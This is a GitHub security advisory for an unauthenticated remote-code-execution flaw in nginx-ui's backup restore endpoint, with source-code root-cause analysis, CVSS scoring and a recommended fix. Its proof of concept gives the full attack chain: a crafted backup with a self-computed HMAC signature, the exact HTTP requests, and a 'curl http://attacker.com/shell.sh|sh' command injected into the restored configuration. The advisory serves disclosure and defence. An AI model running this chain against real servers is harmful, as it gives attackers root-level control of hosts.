Skip to content

Unauthenticated Remote Code Execution via Backup Restore in nginx-ui

Critical
0xJacky published GHSA-4pvg-prr3-9cxr Apr 27, 2026

Package

No package listed

Affected versions

< 2.3.8

Patched versions

2.3.8

Description

Product: nginx-ui
Repository: 0xJacky/nginx-ui (branch: dev)
Vulnerability Class: Authentication Bypass → Arbitrary File Write → OS Command Injection
Affected Component: POST /api/restore


1. Vulnerability Summary

nginx-ui exposes a backup restore endpoint (POST /api/restore) that is completely unauthenticated during the first 10 minutes after process startup on any fresh installation. An unauthenticated remote attacker can upload a crafted backup archive that overwrites the application's configuration file (app.ini) and SQLite database. Because the attacker controls the restored app.ini, they can inject an arbitrary OS command into the TestConfigCmd setting. After the application automatically restarts to apply the restored config, a single follow-up request triggers that command as the user running nginx-ui — typically root in Docker deployments.

The 10-minute unauthenticated window resets on every process restart, making this exploitable not only on initial deployments but on any restart event (container restart, upgrade, health-check-triggered restart).


2. Root Cause Analysis

2.1 The Restore Route Is Registered Without Authentication

backup.InitRouter is called on the root group, which carries only IPWhiteList() middleware — no AuthRequired(): 1

The route definition: 2

2.2 The authIfInstalled Guard Has a Time-Bounded Bypass

The only authentication guard on the restore route is authIfInstalled: 3

It calls AuthRequired() only when InstallLockStatus() || IsInstallTimeoutExceeded() is true. Both conditions are false on a fresh install within the first 10 minutes: 4

  • InstallLockStatus() returns false because JwtSecret is "" on a fresh install and SkipInstallation defaults to false.
  • IsInstallTimeoutExceeded() returns false for the first 10 minutes after startupTime is set in init().

When both are false, authIfInstalled calls ctx.Next() with zero authentication.

2.3 The EncryptedForm Middleware Is Not a Security Barrier

The EncryptedForm() middleware between authIfInstalled and RestoreBackup is optional — it only activates if the request includes an encrypted_params field. If that field is absent, it calls c.Next() immediately: 5

An attacker sends a plain multipart/form-data request without encrypted_params and the middleware is a no-op.

2.4 The Attacker Controls the AES Key Used to Verify the Backup

The restore handler accepts the AES key and IV directly from the attacker via the security_token form field: 6

The manifest integrity check derives its HMAC signing key from the attacker-supplied AES key: 7

Since the attacker crafts the backup and supplies the key, they can produce a valid HMAC signature for any manifest content they choose. The integrity check is self-referential and provides no security against a crafted backup.

2.5 Restore Overwrites app.ini and the SQLite Database Unconditionally

When restore_nginx_ui=true, restoreNginxUIConfig directly copies files from the backup onto disk with no content validation: 8

2.6 Restored TestConfigCmd Is Executed as a Shell Command

After restore, risefront.Restart() is called, reloading app.ini: 9

On the next call to TestConfig(), the value of TestConfigCmd from the restored app.ini is passed verbatim to /bin/sh -c: 10 11


3. Attack Prerequisites

Requirement Notes
Network access to nginx-ui port Default: 9000/tcp
Target is a fresh install JwtSecret is empty in app.ini
Within 10 minutes of last process start Window resets on every restart
IP not blocked by IPWhiteList Default config has no IP whitelist

The 10-minute window is not a meaningful mitigation in practice. Docker containers restart frequently due to health checks, upgrades, and orchestrator rescheduling. Any restart resets startupTime via init(), reopening the window.


4. Step-by-Step Proof of Concept

Step 1 — Confirm the installation window is open

GET /api/install HTTP/1.1
Host: target:9000

Expected response confirming vulnerability:

{"lock": false, "timeout": false}

Step 2 — Craft the malicious backup

The backup format (derived from internal/backup/backup.go) is:

backup-TIMESTAMP.zip          ← outer ZIP (unencrypted)
├── manifest.json             ← JSON manifest
├── manifest.sig              ← HMAC-SHA256 of manifest.json
├── nginx-ui.zip              ← AES-CBC encrypted inner ZIP
└── nginx.zip                 ← AES-CBC encrypted inner ZIP

2a. Generate a random 32-byte AES key and 16-byte IV.

2b. Create the malicious app.ini to place inside nginx-ui.zip:

[app]
JwtSecret = attacker_chosen_jwt_secret_32chars

[node]
Secret = attacker_chosen_node_secret

[nginx]
TestConfigCmd = curl http://attacker.com/shell.sh|sh

2c. Create a SQLite database (nginx-ui.db) with a known bcrypt hash for the admin user (optional — the node secret alone grants full API access).

2d. Package app.ini and nginx-ui.db into nginx-ui.zip. Package an empty or minimal nginx.zip.

2e. Encrypt both ZIPs with AES-256-CBC using your key and IV.

2f. Compute SHA-256 hashes and sizes of the encrypted ZIPs. Build manifest.json:

{
  "schema": 1,
  "created_at": "20260421-120000",
  "version": "2.0.0",
  "files": [
    {"name": "nginx-ui.zip", "sha256": "<hash>", "size": <size>},
    {"name": "nginx.zip",    "sha256": "<hash>", "size": <size>}
  ]
}

2g. Compute the HMAC-SHA256 signature of manifest.json using the signing key derived as:

import hashlib, hmac
context = b"nginx-ui-backup-signing-v1:"
signing_key = hashlib.sha256(context + aes_key).digest()
sig = hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest()

2h. Assemble the outer ZIP containing manifest.json, manifest.sig, nginx-ui.zip, nginx.zip.

Step 3 — Upload the malicious backup (no authentication required)

POST /api/restore HTTP/1.1
Host: target:9000
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="backup_file"; filename="evil.zip"
Content-Type: application/zip

[crafted backup bytes]
------Boundary
Content-Disposition: form-data; name="security_token"

<base64(aes_key)>:<base64(aes_iv)>
------Boundary
Content-Disposition: form-data; name="restore_nginx_ui"

true
------Boundary--

Expected response (HTTP 200):

{"nginx_ui_restored": true, "nginx_restored": false, "hash_match": true}

nginx-ui calls risefront.Restart() 2 seconds later, loading the attacker's app.ini.

Step 4 — Trigger RCE using the restored node secret

After the restart (wait ~3 seconds):

POST /api/nginx/test HTTP/1.1
Host: target:9000
X-Node-Secret: attacker_chosen_node_secret

nginx-ui executes:

/bin/sh -c "curl http://attacker.com/shell.sh|sh"

The attacker now has a reverse shell running as the nginx-ui process user (typically root in Docker).


5. Impact

  • Confidentiality: Full read access to all nginx configurations, TLS private keys, database contents, and secrets stored in app.ini.
  • Integrity: Arbitrary modification of all nginx configurations and nginx-ui application state.
  • Availability: Complete denial of service; nginx and nginx-ui can be stopped or misconfigured.
  • Scope: OS-level code execution. In Docker deployments (the primary distribution method), nginx-ui runs as root, giving the attacker full host access if the container has host mounts or privileged mode.

6. Affected Versions

All versions of nginx-ui where authIfInstalled is used as the sole authentication guard on POST /api/restore. The vulnerability is present in the current dev branch.


7. Recommended Fix

Primary fix — Require authentication unconditionally on the restore endpoint. The "allow restore during initial setup" design rationale does not justify unauthenticated access to a file-write primitive:

// api/backup/router.go
func InitRouter(r *gin.RouterGroup) {
    r.GET("/backup", middleware.AuthRequired(), CreateBackup)
    r.POST("/restore", middleware.AuthRequired(), middleware.EncryptedForm(), RestoreBackup)
}

If restore-during-setup is a required feature, it should be gated on a one-time setup token generated at startup and printed to the server console (similar to how Jenkins handles initial setup), not on a time window.

Secondary fix — Validate the content of restored app.ini before writing it to disk. Specifically, TestConfigCmd, ReloadCmd, and RestartCmd should be rejected or stripped from any externally-supplied backup.


8. Timeline

Date Event
2026-04-21 Vulnerability identified via source code review
Vendor notification (pending)
CVE assignment (pending)

Citations

File: router/routers.go (L61-70)

	root := r.Group("/api", middleware.IPWhiteList())
	{
		public.InitRouter(root)
		crypto.InitPublicRouter(root)
		user.InitAuthRouter(root)
		license.InitRouter(root)

		system.InitPublicRouter(root)
		system.InitSelfCheckRouter(root)
		backup.InitRouter(root)

File: api/backup/router.go (L9-16)

// authIfInstalled requires auth if system is installed
func authIfInstalled(ctx *gin.Context) {
	if system.InstallLockStatus() || system.IsInstallTimeoutExceeded() {
		middleware.AuthRequired()(ctx)
	} else {
		ctx.Next()
	}
}

File: api/backup/router.go (L18-25)

func InitRouter(r *gin.RouterGroup) {
	// Backup always requires authentication (contains sensitive data)
	r.GET("/backup", middleware.AuthRequired(), CreateBackup)

	// Restore requires auth only after installation
	// This allows restoring backup during initial setup
	r.POST("/restore", authIfInstalled, middleware.EncryptedForm(), RestoreBackup)
}

File: api/system/install.go (L27-34)

func InstallLockStatus() bool {
	return settings.NodeSettings.SkipInstallation || cSettings.AppSettings.JwtSecret != ""
}

// IsInstallTimeoutExceeded checks if installation time limit (10 minutes) is exceeded
func IsInstallTimeoutExceeded() bool {
	return time.Since(startupTime) > 10*time.Minute
}

File: internal/middleware/encrypted_params.go (L69-75)

		// Check if encrypted_params field exists
		encryptedParams := c.Request.FormValue("encrypted_params")
		if encryptedParams == "" {
			// No encryption, continue normally
			c.Next()
			return
		}

File: api/backup/restore.go (L35-70)

	securityToken := c.PostForm("security_token") // Get concatenated key and IV
	// Get backup file
	backupFile, err := c.FormFile("backup_file")
	if err != nil {
		cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrBackupFileNotFound, err.Error()))
		return
	}

	// Validate security token
	if securityToken == "" {
		cosy.ErrHandler(c, backup.ErrInvalidSecurityToken)
		return
	}

	// Split security token to get Key and IV
	parts := strings.Split(securityToken, ":")
	if len(parts) != 2 {
		cosy.ErrHandler(c, backup.ErrInvalidSecurityToken)
		return
	}

	aesKey := parts[0]
	aesIv := parts[1]

	// Decode Key and IV from base64
	key, err := base64.StdEncoding.DecodeString(aesKey)
	if err != nil {
		cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESKey, err.Error()))
		return
	}

	iv, err := base64.StdEncoding.DecodeString(aesIv)
	if err != nil {
		cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESIV, err.Error()))
		return
	}

File: api/backup/restore.go (L126-132)

	if restoreNginxUI {
		go func() {
			time.Sleep(2 * time.Second)
			// gracefully restart
			risefront.Restart()
		}()
	}

File: internal/backup/manifest.go (L156-163)

func deriveBackupSigningKeyFromAESKey(aesKey []byte) ([]byte, error) {
	if len(aesKey) == 0 {
		return nil, ErrInvalidAESKey
	}

	sum := sha256.Sum256(append([]byte(manifestKeyContext), aesKey...))
	return sum[:], nil
}

File: internal/backup/restore.go (L458-484)

// restoreNginxUIConfig restores nginx-ui configuration files
func restoreNginxUIConfig(nginxUIBackupDir string) error {
	// Get config directory
	configDir := filepath.Dir(cosysettings.ConfPath)
	if configDir == "" {
		return ErrConfigPathEmpty
	}

	// Restore app.ini to the configured location
	srcConfigPath := filepath.Join(nginxUIBackupDir, "app.ini")
	if err := copyFile(srcConfigPath, cosysettings.ConfPath); err != nil {
		return err
	}

	// Restore database file if exists
	dbName := settings.DatabaseSettings.GetName()
	srcDBPath := filepath.Join(nginxUIBackupDir, dbName+".db")
	destDBPath := filepath.Join(configDir, dbName+".db")

	// Only attempt to copy if database file exists in backup
	if _, err := os.Stat(srcDBPath); err == nil {
		if err := copyFile(srcDBPath, destDBPath); err != nil {
			return err
		}
	}

	return nil

File: internal/nginx/nginx.go (L25-36)

func TestConfig() (stdOut string, stdErr error) {
	mutex.Lock()
	defer mutex.Unlock()
	if settings.NginxSettings.TestConfigCmd != "" {
		return execShell(settings.NginxSettings.TestConfigCmd)
	}
	sbin := GetSbinPath()
	if sbin == "" {
		return execCommand("nginx", "-t")
	}
	return execCommand(sbin, "-t")
}

File: internal/nginx/exec.go (L12-28)

func execShell(cmd string) (stdOut string, stdErr error) {
	var execCmd *exec.Cmd

	if runtime.GOOS == "windows" {
		execCmd = exec.Command("cmd", "/c", cmd)
	} else {
		execCmd = exec.Command("/bin/sh", "-c", cmd)
	}

	execCmd.Dir = GetNginxExeDir()
	bytes, err := execCmd.CombinedOutput()
	stdOut = string(bytes)
	if err != nil {
		stdErr = err
	}
	return
}

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability High

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

CVE ID

CVE-2026-42238

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

Credits